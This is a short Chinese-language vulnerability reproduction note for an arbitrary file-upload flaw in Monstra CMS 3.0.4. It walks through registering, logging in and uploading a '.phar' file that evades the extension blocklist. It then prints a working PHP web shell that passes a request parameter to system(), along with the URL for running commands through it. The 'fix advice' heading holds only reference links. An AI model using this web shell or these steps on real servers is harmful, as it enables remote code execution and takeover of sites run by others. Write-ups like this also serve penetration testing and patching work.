漏洞描述:
Monstra CMS 3.0.4版本中存在着一处安全漏洞,该漏洞源于程序没有正确验证文件扩展名。攻击者可以上传特殊后缀的文件执行任意PHP代码。
该程序不允许’html’, ‘htm’, ‘js’, ‘jsb’, ‘mhtml’, ‘mht’, ‘php’, ‘phtml’, ‘php3’, ‘php4’, ‘php5’, ‘phps’,‘shtml’, ‘jhtml’, ‘pl’, ‘py’, ‘cgi’, ‘sh’, ‘ksh’, ‘bsh’, ‘c’, ‘htaccess’, ‘htpasswd’,‘exe’, ‘scr’, ‘dll’, ‘msi’, ‘vbs’, ‘bat’, ‘com’, ‘pif’, ‘cmd’, ‘vxd’, ‘cpl’,'empty’后缀的文件上传。
复现过程:
1.访问ip:port
2.进行注册,随意填写就好
3.注册成功,点击登录
4.跳转到登录页面,随意注册
5.输入注册的用户名密码登录
6.编写test.phar文件
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
7.上传文件
8.访问我们上传木马文件并执行命令
http://ip:port/public/uploads/test.phar?cmd=ls%20/
修复建议:
参考
https://www.exploit-db.com/exploits/48479
https://xz.aliyun.com/t/7850